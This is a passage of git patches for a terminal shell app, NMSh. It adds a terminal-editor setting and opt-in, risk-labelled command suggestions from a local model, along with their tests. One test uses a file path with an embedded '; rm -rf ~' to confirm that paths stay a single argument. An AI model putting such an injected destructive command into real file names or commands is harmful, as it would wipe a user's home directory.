localUnderstanding: normalizeLocalUnderstanding(value.localUnderstanding), shellBackend: isShellId(value.shellBackend) ? value.shellBackend : 'zsh', openWith: OPEN_WITH_IDS.includes(value.openWith as OpenWith) ? value.openWith as OpenWith : 'auto', + terminalEditor: TERMINAL_EDITOR_IDS.includes(value.terminalEditor as TerminalEditorId) ? value.terminalEditor as TerminalEditorId : 'environment', terminalTitle: TERMINAL_TITLE_MODES.includes(value.terminalTitle as TerminalTitleMode) ? value.terminalTitle as TerminalTitleMode : 'off' as TerminalTitleMode, toolUpdateChecks, installSuggestions, ignoredInstallSuggestions, promptSymbol: normalizePromptSymbol(value.promptSymbol), ...(promptSymbolCustom ? {promptSymbolCustom} : {})}; const provider: PromptProviderId = promptValue.provider === 'starship' || promptValue.provider === 'powerlevel10k' || promptValue.provider === 'ohMyPosh' || promptValue.provider === 'none' diff --git a/src/providers/families.ts b/src/providers/families.ts index aded9270..8de29f8c 100644 --- a/src/providers/families.ts +++ b/src/providers/families.ts @@ -5,6 +5,7 @@ import {SUGGESTION_PROVIDERS} from '../suggestions/types.js'; import {HISTORY_PROVIDERS} from '../shell/historyProviders.js'; import {PICKER_PROVIDERS} from '../pickers/Picker.js'; import {NAVIGATION_PROVIDERS} from '../shell/DirectoryService.js'; +import {TERMINAL_EDITORS} from '../host/terminalEditors.js'; import type {ProviderDescriptor, ProviderStatus} from './providers.js'; /** @@ -13,7 +14,7 @@ import type {ProviderDescriptor, ProviderStatus} from './providers.js'; * Settings and Setup Cat all read and write through these accessors, so * there is no second provider state. Detection results stay runtime-only. */ -export type SwitchableFamily = 'prompt' | 'welcome' | 'suggestions' | 'history' | 'picker' | 'navigation'; +export type SwitchableFamily = 'prompt' | 'welcome' | 'suggestions' | 'history' | 'picker' | 'navigation' | 'editor'; export interface ProviderFamilyDefinition { family: SwitchableFamily; @@ -24,7 +25,7 @@ export interface ProviderFamilyDefinition { get: (config: PromptConfiguration) => string; set: (config: PromptConfiguration, id: string) => PromptConfiguration; /** The existing domain panel for deeper configuration, when there is one. */ - settingsDestination?: 'prompt' | 'welcome' | 'suggestions' | 'history' | 'picker' | 'navigation'; + settingsDestination?: 'prompt' | 'welcome' | 'suggestions' | 'history' | 'picker' | 'navigation' | 'editor'; } export const PROVIDER_FAMILIES: readonly ProviderFamilyDefinition[] = [ @@ -40,6 +41,9 @@ export const PROVIDER_FAMILIES: readonly ProviderFamilyDefinition[] = [ set: (config, id) => ({...config, picker: id as PromptConfiguration['picker']}), settingsDestination: 'picker'}, {family: 'navigation', title: 'Directory navigation', providers: NAVIGATION_PROVIDERS, fallback: 'native', get: config => config.navigation, set: (config, id) => ({...config, navigation: id as PromptConfiguration['navigation']}), settingsDestination: 'navigation'}, + // Used by /open and `o` in /view only when VISUAL and EDITOR are unset (#366). + {family: 'editor', title: 'Terminal editor', providers: TERMINAL_EDITORS, fallback: 'environment', get: config => config.terminalEditor, + set: (config, id) => ({...config, terminalEditor: id as PromptConfiguration['terminalEditor']}), settingsDestination: 'editor'}, ]; export function providerFamily(family: string): ProviderFamilyDefinition | undefined { diff --git a/src/providers/providers.ts b/src/providers/providers.ts index c1086580..960e44bb 100644 --- a/src/providers/providers.ts +++ b/src/providers/providers.ts @@ -8,7 +8,7 @@ import {GLYPHS} from '../ui/glyphs.js'; * runtime interface (prompt render, welcome render, suggestion query, ...); * this module only describes providers and how their availability looks. */ -export type ProviderFamily = 'prompt' | 'welcome' | 'suggestions' | 'history' | 'picker' | 'navigation' | 'tool'; +export type ProviderFamily = 'prompt' | 'welcome' | 'suggestions' | 'history' | 'picker' | 'navigation' | 'editor' | 'tool'; export type ProviderKind = 'native' | 'external' | 'none'; export interface ProviderInstall { diff --git a/src/ui/SettingsPanel.ts b/src/ui/SettingsPanel.ts index 4a551602..a36a2ccc 100644 --- a/src/ui/SettingsPanel.ts +++ b/src/ui/SettingsPanel.ts @@ -52,6 +52,7 @@ import {framePanel, renderTabStrip} from './PanelShell.js'; import {stepIndex, toggleValue} from './formControls.js'; import {ASK_PRESENTATION_LABELS, ASK_PRESENTATIONS} from '../ask/AskPanel.js'; import {displayWidth, highlightMatches, truncateAnsi} from '../util/text.js'; +import {TERMINAL_EDITORS} from '../host/terminalEditors.js'; /** The three top-level views of the one shared panel behind /settings, /config, and /status. */ export const SETTINGS_VIEWS = ['Settings', 'Status', 'Config'] as const; @@ -91,7 +92,7 @@ export function switchSettingsView(state: SettingsPanelState, delta: -1 | 1): vo } /** Where Enter leads: `glyph` is the rich glyph preview inside the panel, the rest are full panels. */ -export type SettingsDestination = 'glyph' | 'appearance' | 'prompt' | 'transcript' | 'syntax' | 'layout' | 'keyboard' | 'welcome' | 'suggestions' | 'history' | 'picker' | 'navigation' | 'toolConfig' | 'tools' +export type SettingsDestination = 'glyph' | 'appearance' | 'prompt' | 'transcript' | 'syntax' | 'layout' | 'keyboard' | 'welcome' | 'suggestions' | 'history' | 'picker' | 'navigation' | 'editor' | 'toolConfig' | 'tools' | 'setup' | 'setupQuick' | 'resetInstallSuggestions' | 'screensaver' | 'chromeColors' | 'cursor' | 'idleColors' | 'activityColors' | 'themeStudio' | 'themeBridge' | 'queue'; interface SettingsRowBase { @@ -497,6 +498,8 @@ export const SETTINGS_ROWS: readonly SettingsRow[] = [ enumRow({id: 'openWith', label: 'Open with', description: 'Where /open and /open-diff hand files: the editor around NMSh (Auto), Zed, VS Code, or VISUAL/EDITOR', category: 'Sessions', values: OPEN_WITH_IDS, labels: ['Auto', 'Zed', 'VS Code', 'VISUAL / EDITOR'], get: config => config.openWith, set: (config, openWith) => ({...config, openWith})}), + {id: 'terminalEditor', label: 'Terminal editor', description: 'Used by /open and o in /view when VISUAL and EDITOR are not set: choose one installed here', category: 'Sessions', + control: 'child', destination: 'editor', value: config => TERMINAL_EDITORS.find(editor => editor.id === config.terminalEditor)?.label ?? 'VISUAL / EDITOR'}, {id: 'welcome', label: 'Welcome provider', description: 'What new sessions show first: Vespyr, Fastfetch, Neofetch, or None', category: 'Welcome', control: 'child', destination: 'welcome', value: config => welcomeProvider(config.welcome).label}, {id: 'suggestions', label: 'Suggestions', description: 'Ghost-text prediction provider: NMSh Native, Deja, or None', category: 'Suggestions', @@ -677,7 +680,7 @@ export const CONFIG_GROUP_BY_ID: Readonly<Record<string, ConfigGroup>> = { glyphStyle: 'General', panelPosition: 'General', liveSessionStartup: 'General', liveSessionMultiple: 'General', updateMode: 'General', updateFrequency: 'General', promptVibrance: 'Appearance', showShell: 'Prompt & Composer', composerPosition: 'Prompt & Composer', composerDividers: 'Prompt & Composer', divider: 'Prompt & Composer', historicalPrompt: 'Prompt & Composer', - transcriptPresentation: 'Editor', openWith: 'Editor', suggestionsOnEmpty: 'Editor', pastePreview: 'Editor', + transcriptPresentation: 'Editor', openWith: 'Editor', terminalEditor: 'Editor', suggestionsOnEmpty: 'Editor', pastePreview: 'Editor', reducedMotion: 'Cursor & Motion', effectsOff: 'Cursor & Motion', shellBackend: 'Shell & Providers', suggestions: 'Shell & Providers', localUnderstanding: 'Local Understanding', @@ -711,7 +714,7 @@ const CONFIG_ORDER: readonly string[] = [ 'glyphStyle', 'panelPosition', 'liveSessionStartup', 'liveSessionMultiple', 'updateMode', 'updateFrequency', 'uiChrome', 'themeFamily', 'promptVibrance', 'treatmentPreset', 'shimmer', 'autoEffects', 'idleTimeout', 'activityStyle', 'activityColors', 'provider', 'promptStyle', 'promptSymbol', 'composerPosition', 'composerDividers', 'divider', 'historicalPrompt', 'showShell', 'statusStrip', - 'syntaxHighlighting', 'pastePreview', 'transcriptPresentation', 'suggestionsOnEmpty', 'openWith', + 'syntaxHighlighting', 'pastePreview', 'transcriptPresentation', 'suggestionsOnEmpty', 'openWith', 'terminalEditor', 'cursorShape', 'cursorRenderer', 'cursorMotion', 'cursorEffect', 'cursorIdle', 'cursorColor', 'cursorSpeed', 'cursorIntensity', 'cursorTrail', 'cursorParticles', 'cursorAdvanced', 'motion_rendering', 'motion_contextTransitions', 'motion_commandLaunch', 'motion_completionHighlight', 'motion_completionEffect', 'motion_cursorTravel', 'motion_eventFeedback', 'motion_intensity', 'motion_speed', 'reducedMotion', 'effectsOff', diff --git a/tests/terminalEditor.test.ts b/tests/terminalEditor.test.ts new file mode 100644 index 00000000..34b98a06 --- /dev/null +++ b/tests/terminalEditor.test.ts @@ -0,0 +1,89 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {editorArguments, resolveHostActions, type HostEnvironment} from '../src/host/HostActions.js'; +import {TERMINAL_EDITORS, installedTerminalEditors} from '../src/host/terminalEditors.js'; +import {normalizePromptConfiguration} from '../src/prompt/configuration.js'; +import {PROVIDER_FAMILIES, selectProvider} from '../src/providers/families.js'; +import {SETTINGS_ROWS} from '../src/ui/SettingsPanel.js'; + +/** + * #366 (decision D3): with VISUAL and EDITOR unset, /open and `o` in /view can use a terminal editor the person chose + * from the ones installed here. Explicit choices win: Open with Zed or VS Code, the editor NMSh runs inside, then + * VISUAL/EDITOR, then the chosen editor. Nothing is assumed installed, nothing is installed, nothing is run. + */ + +function host(env: NodeJS.ProcessEnv, bins: Record<string, string> = {}): HostEnvironment { + return {env, which: name => bins[name], helpText: () => ''}; +} +const target = {path: '/w/notes.md', line: 12, column: 5}; + +test('terminal editor: used only when VISUAL and EDITOR are unset, and only when installed', () => { + const chosen = resolveHostActions('auto', host({}, {hx: '/opt/bin/hx'}), 'hx'); + assert.deepEqual(chosen.openFile(target), {kind: 'compose', argv: ['hx', '/w/notes.md:12:5'], label: 'Helix'}); + // An explicit preference in the environment wins over NMSh's own choice. + const env = resolveHostActions('auto', host({EDITOR: 'vim'}, {hx: '/opt/bin/hx'}), 'hx'); + assert.deepEqual(env.openFile(target), {kind: 'compose', argv: ['vim', '+12', '/w/notes.md'], label: 'vim'}); + // So does the editor NMSh runs inside, and an explicit Open with. + const zed = resolveHostActions('auto', host({TERM_PROGRAM: 'zed'}, {zed: '/opt/bin/zed', hx: '/opt/bin/hx'}), 'hx'); + assert.equal(zed.id, 'zed'); + const code = resolveHostActions('vscode', host({}, {code: '/opt/bin/code', hx: '/opt/bin/hx'}), 'hx'); + assert.equal(code.id, 'vscode'); + // Open with VISUAL/EDITOR and nothing set: the chosen editor stands in. + const editorChoice = resolveHostActions('editor', host({}, {micro: '/opt/bin/micro'}), 'micro'); + assert.deepEqual(editorChoice.openFile(target), {kind: 'compose', argv: ['micro', '+12:5', '/w/notes.md'], label: 'Micro'}); + // Chosen but not installed here: said plainly; nothing else is guessed. + const missing = resolveHostActions('auto', host({}, {}), 'nvim'); + const reason = (missing.openFile(target) as {kind: string; reason: string}); + assert.equal(reason.kind, 'unsupported'); + assert.match(reason.reason, /Neovim \(nvim\) is chosen in Settings → Terminal editor but is not on PATH/u); +}); + +test('terminal editor: with none chosen, the message names the editors installed here and where to choose', () => { + const none = resolveHostActions('auto', host({}, {nvim: '/opt/bin/nvim', micro: '/opt/bin/micro'}), 'environment'); + const reason = (none.openFile(target) as {reason: string}).reason; + assert.match(reason, /VISUAL nor EDITOR/u); + assert.match(reason, /\/settings → Terminal editor/u); + assert.match(reason, /installed here: Neovim, Micro/u); + const bare = resolveHostActions('auto', host({}, {}), 'environment'); + assert.doesNotMatch((bare.openFile(target) as {reason: string}).reason, /installed here/u, 'no list when none is installed'); + assert.deepEqual(installedTerminalEditors(host({}, {kak: '/k', emacs: '/e'})).map(editor => editor.id), ['emacs', 'kak'], 'catalog order'); +}); + +test('terminal editor: each editor gets only the line and column forms its documentation describes', () => { + const argv = (id: string) => { + const editor = TERMINAL_EDITORS.find(item => item.id === id)!; + return editorArguments(editor.argv!, target); + }; + assert.deepEqual(argv('nvim'), ['nvim', '+12', '/w/notes.md'], 'Vim and Neovim: +N (no column flag)'); + assert.deepEqual(argv('vim'), ['vim', '+12', '/w/notes.md']); + assert.deepEqual(argv('hx'), ['hx', '/w/notes.md:12:5'], 'Helix: path:N:C'); + assert.deepEqual(argv('micro'), ['micro', '+12:5', '/w/notes.md'], 'Micro: +N:C'); + assert.deepEqual(argv('nano'), ['nano', '+12,5', '/w/notes.md'], 'nano: +N,C'); + assert.deepEqual(argv('emacs'), ['emacs', '-nw', '+12:5', '/w/notes.md'], 'Emacs in the terminal: -nw, +N:C'); + assert.deepEqual(argv('kak'), ['kak', '+12', '/w/notes.md'], 'Kakoune: +N'); + assert.deepEqual(editorArguments(['nano'], {path: '/a', line: 3}), ['nano', '+3', '/a'], 'no column: none passed'); + assert.deepEqual(editorArguments(['nano'], {path: '/a'}), ['nano', '/a'], 'no line: the file alone'); + // Paths stay one argument; nothing is joined into shell text here. + assert.deepEqual(editorArguments(['micro'], {path: '/w/a b; rm -rf ~.md', line: 1}), ['micro', '+1', '/w/a b; rm -rf ~.md']); +}); + +test('terminal editor: a setting of its own, normalized; a provider family for /providers, Ask and Settings', () => { + assert.equal(normalizePromptConfiguration({}).terminalEditor, 'environment', 'VISUAL/EDITOR by default'); + assert.equal(normalizePromptConfiguration({terminalEditor: 'hx'}).terminalEditor, 'hx'); + assert.equal(normalizePromptConfiguration({terminalEditor: 'sublime'}).terminalEditor, 'environment', 'unknown values fall back'); + const family = PROVIDER_FAMILIES.find(item => item.family === 'editor'); + assert.ok(family, 'the Terminal editor family is listed with the others'); + assert.equal(family.title, 'Terminal editor'); + assert.equal(family.fallback, 'environment'); + const base = normalizePromptConfiguration({}); + assert.equal(selectProvider(base, 'editor', 'micro')?.terminalEditor, 'micro'); + assert.equal(selectProvider(base, 'editor', 'notepad'), undefined, 'unknown editors change nothing'); + for (const editor of TERMINAL_EDITORS) { + assert.equal(editor.install, undefined, `${editor.label}: NMSh never installs an editor`); + assert.equal(editor.recipe, undefined, `${editor.label}: no install recipe`); + assert.equal(editor.versionArgs, undefined, `${editor.label}: detection never runs the editor`); + } + const row = SETTINGS_ROWS.find(item => item.id === 'terminalEditor'); + assert.ok(row && row.control === 'child' && row.destination === 'editor', 'Settings → Sessions → Terminal editor opens the chooser'); + assert.equal(row.category, 'Sessions'); +}); diff --git a/tests/terminalEditorApp.test.ts b/tests/terminalEditorApp.test.ts new file mode 100644 index 00000000..c3b4b469 --- /dev/null +++ b/tests/terminalEditorApp.test.ts @@ -0,0 +1,72 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {chmodSync, mkdirSync, mkdtempSync, realpathSync, rmSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {clearProviderDetection} from '../src/providers/providers.js'; +import {stripAnsi} from '../src/util/text.js'; +import {executionFrameFixture} from './support/executionTimelineFrames.js'; + +/** + * #366 (D3) through the real TerminalApp: Settings → Terminal editor lists the curated editors with what is installed + * here, saves an installed choice, refuses one that is not, and /open then composes the chosen editor's command for + * the person to run. VISUAL/EDITOR are unset; PATH holds stub executables only; nothing is executed or installed. + */ + +async function settled(check: () => boolean, what: string): Promise<void> { + const deadline = Date.now() + 5000; + while (!check()) { + if (Date.now() > deadline) throw new Error(`timed out waiting for ${what}`); + await new Promise(done => setTimeout(done, 10)); + } +} + +test('Terminal editor: choose an installed editor, refuse a missing one; /open composes the chosen command', async () => { + // Hermetic: not inside Zed or VS Code either (the surrounding editor would rightly win). + const saved = {PATH: process.env.PATH, VISUAL: process.env.VISUAL, EDITOR: process.env.EDITOR, ZED_TERM: process.env.ZED_TERM}; + const bin = realpathSync(mkdtempSync(join(tmpdir(), 'nmsh-editors-'))); + const f = executionFrameFixture(100, 30); + try { + for (const name of ['hx', 'micro']) { writeFileSync(join(bin, name), '#!/bin/sh\nexit 0\n'); chmodSync(join(bin, name), 0o755); } + process.env.PATH = bin; + delete process.env.VISUAL; + delete process.env.EDITOR; + delete process.env.ZED_TERM; + clearProviderDetection(); + const app = f.app; + app['startProviderPanel']('editor'); + const state = app['providerPanelState']!; + assert.equal(state.title, 'Terminal editor'); + await settled(() => Object.keys(state.statuses).length === state.providers.length, 'detection'); + assert.equal(state.statuses.hx?.state, 'installed'); + assert.equal(state.statuses.nvim?.state, 'missing'); + // Highlighting shows the command /open would compose; nothing runs. + state.selectedIndex = state.providers.findIndex(provider => provider.id === 'hx'); + const preview = app['providerPreview'](state, 96).map(line => stripAnsi(line)).join('\n'); + assert.match(preview, /puts this in the composer for you to run: hx README\.md:12:5/u); + // A missing editor cannot be chosen: the reason is shown and nothing is saved. + state.selectedIndex = state.providers.findIndex(provider => provider.id === 'nvim'); + await app['handleProviderPanelKey']({kind: 'enter'}, state); + assert.match(state.message ?? '', /no curated install for Neovim/u); + assert.equal(app['promptConfiguration'].terminalEditor, 'environment'); + // An installed one is saved. + state.selectedIndex = state.providers.findIndex(provider => provider.id === 'hx'); + await app['handleProviderPanelKey']({kind: 'enter'}, state); + assert.equal(app['promptConfiguration'].terminalEditor, 'hx'); + assert.equal(app['providerPanelState'], undefined); + // /open composes Helix's own form, quoted for the session's shell, for the person to run. + const root = realpathSync(mkdtempSync(join(tmpdir(), 'nmsh-editors-files-'))); + try { + mkdirSync(join(root, 'docs')); + writeFileSync(join(root, 'docs', 'a note.md'), 'x\n'); + await app['openLocation']('/open docs/a note.md:3', 'docs/a note.md:3', root); + const notes = (app['output'].transcript().lines as Array<Array<{text?: string} | null>>).map(line => line.map(cell => cell?.text ?? ' ').join('').trim()).filter(Boolean).slice(-3).join(' | '); + assert.equal(app['editor'].text, `hx '${join(root, 'docs', 'a note.md')}:3'`, notes); + } finally { rmSync(root, {recursive: true, force: true}); } + } finally { + f.dispose(); + for (const [key, value] of Object.entries(saved)) if (value === undefined) delete process.env[key]; else process.env[key] = value; + clearProviderDetection(); + rmSync(bin, {recursive: true, force: true}); + } +}); From 62c2e15328020aef77b2a31a40c6f91d3fd58bff Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 01:38:52 +0530 Subject: [PATCH 062/157] Ask: optional command suggestions from the local model, Copy/Insert only MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit #432 (decision D2), first slice: the local model only. When the person turns command suggestions on, a request Ask's own resolver (and the intent model) cannot place may get one suggested shell command. - Settings → Ask → Command suggestions (Off by default, or Local model): askCommandSuggestions; remote providers are not part of this slice. - understanding/tasks: a `command` task. The prompt carries the request text, the shell and the OS family only (never files, environment, history, the transcript or output). The answer is validated strictly: exactly command and explanation, one plain line of at most 1 KiB, no control, escape or invisible format characters, an explanation of at most 300 characters, or command: null when the model declines. A claimed risk is an extra field and rejects the answer. - The shared model service runs it with its own schema and token budget and advertises 'command'; the client sends it only to a service that does (an older one is told apart by its welcome and the person is told why). - ask/commandSuggestions: NMSh labels the risk itself from the paste-review classifier (destructive, privileged or piped into an interpreter is destructive; installs; anything that writes, reaches the network, runs project scripts or is unknown changes things; only reading reads). The block is literal, so Ask offers Copy and Insert only, never Run; Insert places it in the composer unsent. - TerminalApp.resolveAsk: only unclear or unsupported outcomes reach the model, never a refusal and never a closed Ask. A declined request keeps Ask's own answer; local understanding Off, no model, an older service or an invalid answer each say why. Tests: validation (including adversarial output), prompt minimization, NMSh's labels overriding the model's wording, the service path with a fake runtime, an older service never sent the task, and the whole Ask path through TerminalApp with a stub model (off, on, refusal, declined, unavailable, closed Ask, Insert never runs). Refs #432 --- ARCHITECTURE.md | 2 + CHANGELOG.md | 1 + src/app/TerminalApp.ts | 21 +++++ src/ask/commandSuggestions.ts | 31 +++++++ src/ask/types.ts | 3 +- src/prompt/configuration.ts | 12 ++- src/ui/SettingsPanel.ts | 7 +- src/understanding/LocalUnderstanding.ts | 27 +++++- src/understanding/ModelClient.ts | 32 ++++++- src/understanding/ModelService.ts | 14 +-- src/understanding/tasks.ts | 47 ++++++++++ tests/askCommandSuggestions.test.ts | 113 ++++++++++++++++++++++++ tests/askCommandSuggestionsApp.test.ts | 97 ++++++++++++++++++++ 13 files changed, 392 insertions(+), 15 deletions(-) create mode 100644 src/ask/commandSuggestions.ts create mode 100644 tests/askCommandSuggestions.test.ts create mode 100644 tests/askCommandSuggestionsApp.test.ts diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md index d9ab39b2..a267ceea 100644 --- a/ARCHITECTURE.md +++ b/ARCHITECTURE.md @@ -295,6 +295,8 @@ Optional **local understanding** can help interpret requests when enabled. Auto Model text is not directly executed as a shell command or filesystem operation. Configuration, mutation, and installation require confirmation of the exact action in Ask; destructive suggestions are Copy/Insert only. Copying or inserting a suggested command does not execute it. File plans and supported configuration still use their normal path, hash, and ownership checks. +**Command suggestions** are optional and Off by default. When the person turns them on (Settings → Ask → Command suggestions → Local model), a request Ask's own resolver cannot place (never one it refused) may get one shell command from the local model. The model receives only the request text, the shell and the OS family; its answer is validated strictly (one plain line, no control or escape sequences), labelled by NMSh's own command classifier rather than the model, and offered for Copy or Insert only. Inserting places it in the composer unsent; only the person's Enter runs it. + ## 20. Configuration and persistence Let `<NMSh config>` mean the directory selected by the shared path resolver: diff --git a/CHANGELOG.md b/CHANGELOG.md index 41472b72..0a7ce6e2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,6 +18,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). - **`/modules explain` and `/modules timings`** ([#365](https://github.com/raiseCatError/notMyShell/issues/365)) write a plain-text report into the transcript: each configured module's surface, whether it is on screen and why (including when the Context Rail or Status Strip left it out, or shortened it, to fit the width in the last frame), and its sources' state, age and last collection time; or the slowest last collections. They read what the Context Engine already has and collect nothing. - **Five more bundled theme families** ([#401](https://github.com/raiseCatError/notMyShell/issues/401)): Ayu (Dark, Mirage, Light), Kanagawa (Wave, Dragon, Lotus), Everforest (Dark, Light), Flexoki (Dark, Light) and Night Owl (Night Owl, Light Owl), with colors copied exactly from each project's MIT-licensed source at a recorded revision. They theme NMSh's own prompt fills and chrome only; the terminal's own colors and configuration are never changed. Existing theme ids and saved choices are unchanged, and Lavender stays the default. Theme Studio's Built-in list gains `/` to filter by name, family, or `dark`/`light`. - **`/track`** keeps one live result of a finite command in the transcript, refreshed in place ([#393](https://github.com/raiseCatError/notMyShell/issues/393)). `/track df -h` or `/track --every 5s -- docker system df` writes the command once, then shows a status row (`live · every 5s · updated 13:49:25 · exit 0`, a failing exit, a timeout, paused, stale, refreshing) and the latest result under it, with a stable height. The shell stays free; nothing accumulates per refresh, and find, selection and `/copy` never include the live rows. `/track copy` copies the latest result, `/track refresh`, `pause`, `resume` and `stop` control it, and stopping leaves the last result in the transcript once. Samples run `sh -c` from the starting directory with your shell's PATH (not its aliases or functions), never overlap, and are bounded (200 kB, a timeout, at most 8 trackers); destructive and unknown commands are refused or need a Yes, as for `/watch`. Trackers stop with the window that started them. `/watch` keeps its manager and its behavior; both share one scheduler, which gains stricter interval parsing, refusals for substitutions, background jobs and heredocs, UTF-8-safe bounded capture, visible timeouts and a stop grace period (from draft #394). +- **Command suggestions in Ask, from your local model** ([#432](https://github.com/raiseCatError/notMyShell/issues/432), first part). Off by default; Settings → Ask → Command suggestions → Local model turns them on. When Ask cannot place a request (`/btw convert every png here to webp`), your local model (set up in `/llm`) may suggest one shell command. Ask shows it with NMSh's own check (reads only, changes things, installs software, destructive), never the model's, and offers Copy or Insert only: Insert puts it in the composer unsent, and only your Enter runs it. The model is sent the request, the shell and the OS family, nothing else; requests Ask refuses stay refused. Remote providers are not part of this release. ### Fixed diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 62148e4a..63a10ca8 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -249,6 +249,7 @@ import {shellAdapter, shellAvailability, shellInstall} from '../shell/adapters/r import {commandReference} from '../shell/CommandReference.js'; import {gitNextSteps, gitRunAllowed, gitSummary, renderCommand} from '../ask/gitAssist.js'; import {readGitFacts} from '../ask/git.js'; +import {suggestionBlock} from '../ask/commandSuggestions.js'; import {configTargets, systemConfigEnvironment} from '../ask/configTargets.js'; import {systemFileAssistEnvironment, validateAfterWrite} from '../ask/configAssist.js'; import {formatterAllowed} from '../ask/repair.js'; @@ -9587,7 +9588,27 @@ export class TerminalApp { } /** Deterministic resolution first; an optional local interpretation may refine it (see LocalUnderstanding). */ + /** + * Ask's answer: its own resolver (and the optional intent model) first. Only what that cannot place (unclear or + * unsupported, never a refusal) may get one suggested command, and only when the person turned command suggestions + * on (#432). The suggestion is Copy/Insert only, labelled by NMSh; the model gets the request, shell and OS family. + */ private async resolveAsk(text: string, state: AskState): Promise<AskOutcome> { + const outcome = await this.resolveAskOwn(text, state); + if ((outcome.kind !== 'unclear' && outcome.kind !== 'unsupported') || this.promptConfiguration.askCommandSuggestions !== 'local' || this.askState !== state) return outcome; + if (this.askStage) this.setAskStage('Asking your local model for a command'); + const result = await this.understanding.suggestCommand({text, shell: this.shellId, os: process.platform === 'darwin' ? 'macOS' : 'Linux'}); + if (this.askState !== state) return outcome; + const next = outcome.kind === 'unclear' ? outcome.categories : undefined; + if ('unavailable' in result) return {kind: 'answer', capability: 'help.command', text: result.unavailable, ...(next?.length ? {next} : {})}; + // The model declined: Ask's own answer stands. + if (!result.suggestion) return outcome; + const model = this.configuration.localUnderstanding.model?.label ?? 'local model'; + return {kind: 'answer', capability: 'help.command', text: 'A suggested command, for you to check before running it yourself.', + block: suggestionBlock(result.suggestion, model)}; + } + + private async resolveAskOwn(text: string, state: AskState): Promise<AskOutcome> { const context = await this.askContext(text); state.repoRoot = context.repoRoot; const commands = this.askCommands(); diff --git a/src/ask/commandSuggestions.ts b/src/ask/commandSuggestions.ts new file mode 100644 index 00000000..1bb18f30 --- /dev/null +++ b/src/ask/commandSuggestions.ts @@ -0,0 +1,31 @@ +import {analyzePaste} from '../input/pasteGuard.js'; +import type {CommandSuggestion} from '../understanding/tasks.js'; +import type {ActionRisk, CommandBlock} from './types.js'; + +/** + * What NMSh itself says about a suggested command (#432), from the classifier paste review uses. The model's own + * wording never sets it: a command that deletes, needs administrator rights, signals processes or pipes into an + * interpreter is destructive; installs are installs; anything that writes, reaches the network, runs project scripts + * or is unknown changes things; only reading and moving between directories read. + */ +export function suggestionRisk(command: string): ActionRisk { + const kinds = analyzePaste(command).commands.flatMap(item => item.kinds); + if (kinds.some(kind => kind === 'destructive' || kind === 'privilege' || kind === 'pipeline')) return 'destructive'; + if (kinds.includes('install')) return 'install'; + if (kinds.length && kinds.every(kind => kind === 'navigation')) return 'navigate'; + if (kinds.length && kinds.every(kind => kind === 'read' || kind === 'navigation')) return 'read'; + return 'mutate'; +} + +/** + * A suggestion as an Ask command block: shown verbatim (`literal`), so Ask offers Copy and Insert only, never Run; + * Insert puts it in the composer unsent and only the person's Enter runs it. The note says where it came from. + */ +export function suggestionBlock(suggestion: CommandSuggestion, modelLabel: string): CommandBlock { + const risk = suggestionRisk(suggestion.command); + return {argv: [], literal: suggestion.command, provenance: 'suggested', risk, + note: `${suggestion.explanation} · NMSh's check: ${RISK_WORDS[risk]} · Suggested by your local model (${modelLabel}); check it before you run it.`}; +} + +const RISK_WORDS: Record<ActionRisk, string> = {informational: 'shows information', read: 'reads only', navigate: 'changes directory', + configure: 'changes settings', mutate: 'changes things', destructive: 'destructive', install: 'installs software'}; diff --git a/src/ask/types.ts b/src/ask/types.ts index 012e1003..cce643e5 100644 --- a/src/ask/types.ts +++ b/src/ask/types.ts @@ -94,7 +94,8 @@ export interface CommandBlock { argv: string[]; /** Indices of argv that are placeholders, never filled by guessing. */ placeholders?: number[]; - provenance: 'reference' | 'context'; + /** suggested: a command the person's local model proposed (#432); Copy/Insert only, its risk labelled by NMSh. */ + provenance: 'reference' | 'context' | 'suggested'; risk: ActionRisk; /** One line under the command: what it does here. */ note?: string; diff --git a/src/prompt/configuration.ts b/src/prompt/configuration.ts index 7fef4d49..a3c59545 100644 --- a/src/prompt/configuration.ts +++ b/src/prompt/configuration.ts @@ -590,6 +590,10 @@ export type OnboardingBackdrop = 'off' | 'subtle' | 'aurora'; export const STARTING_POINT_IDS = ['recommended', 'minimal', 'customize', 'existing'] as const; export type StartingPointId = typeof STARTING_POINT_IDS[number]; +/** Where Ask's command suggestions come from: nowhere (default) or the person's local model (#432). */ +export type AskCommandSuggestions = 'off' | 'local'; +export const ASK_COMMAND_SUGGESTIONS: readonly AskCommandSuggestions[] = ['off', 'local']; + export interface PromptConfiguration { presentation: TreatmentSettings; /** General NMSh UI motion (cursor motion lives in `cursor`, Chroma in `presentation`). */ @@ -675,6 +679,11 @@ export interface PromptConfiguration { agentProfiles: AgentProfile[]; /** Keep Ask questions and replies with the session transcript. Approved actions follow their own history rules either way. */ askRecord: boolean; + /** + * Command suggestions in Ask (#432): off, or one suggested shell command from the person's local model when Ask's own + * resolver cannot place a request. Copy/Insert only, never run. Remote providers are a later, separately reviewed slice. + */ + askCommandSuggestions: AskCommandSuggestions; /** How the Ask panel lays out its conversation; independent of the transcript's presentation. */ askPresentation: 'chat' | 'normal'; /** Optional local language understanding; Auto by default (deterministic first, nothing downloads without consent). Folding stays opt-in. */ @@ -890,6 +899,7 @@ export const DEFAULT_PROMPT_CONFIGURATION: PromptConfiguration = { sessionNotices: true, copy: {...DEFAULT_COPY}, askRecord: true, + askCommandSuggestions: 'off', askPresentation: 'chat' as const, localUnderstanding: {mode: 'auto', ask: true, folding: false}, agentActivity: true, @@ -1010,7 +1020,7 @@ export function normalizePromptConfiguration(value: unknown): PromptConfiguratio : []; const promptSymbolCustom = normalizeCustomGlyph(value.promptSymbolCustom); const tooling = {introSeen: value.introSeen !== false, motion: normalizeMotion(value.motion), pastePreview: (value.pastePreview === 'always' || value.pastePreview === 'off' ? value.pastePreview : 'smart') as 'smart' | 'always' | 'off', cursor: normalizeCursor(value.cursor), statusStrip: 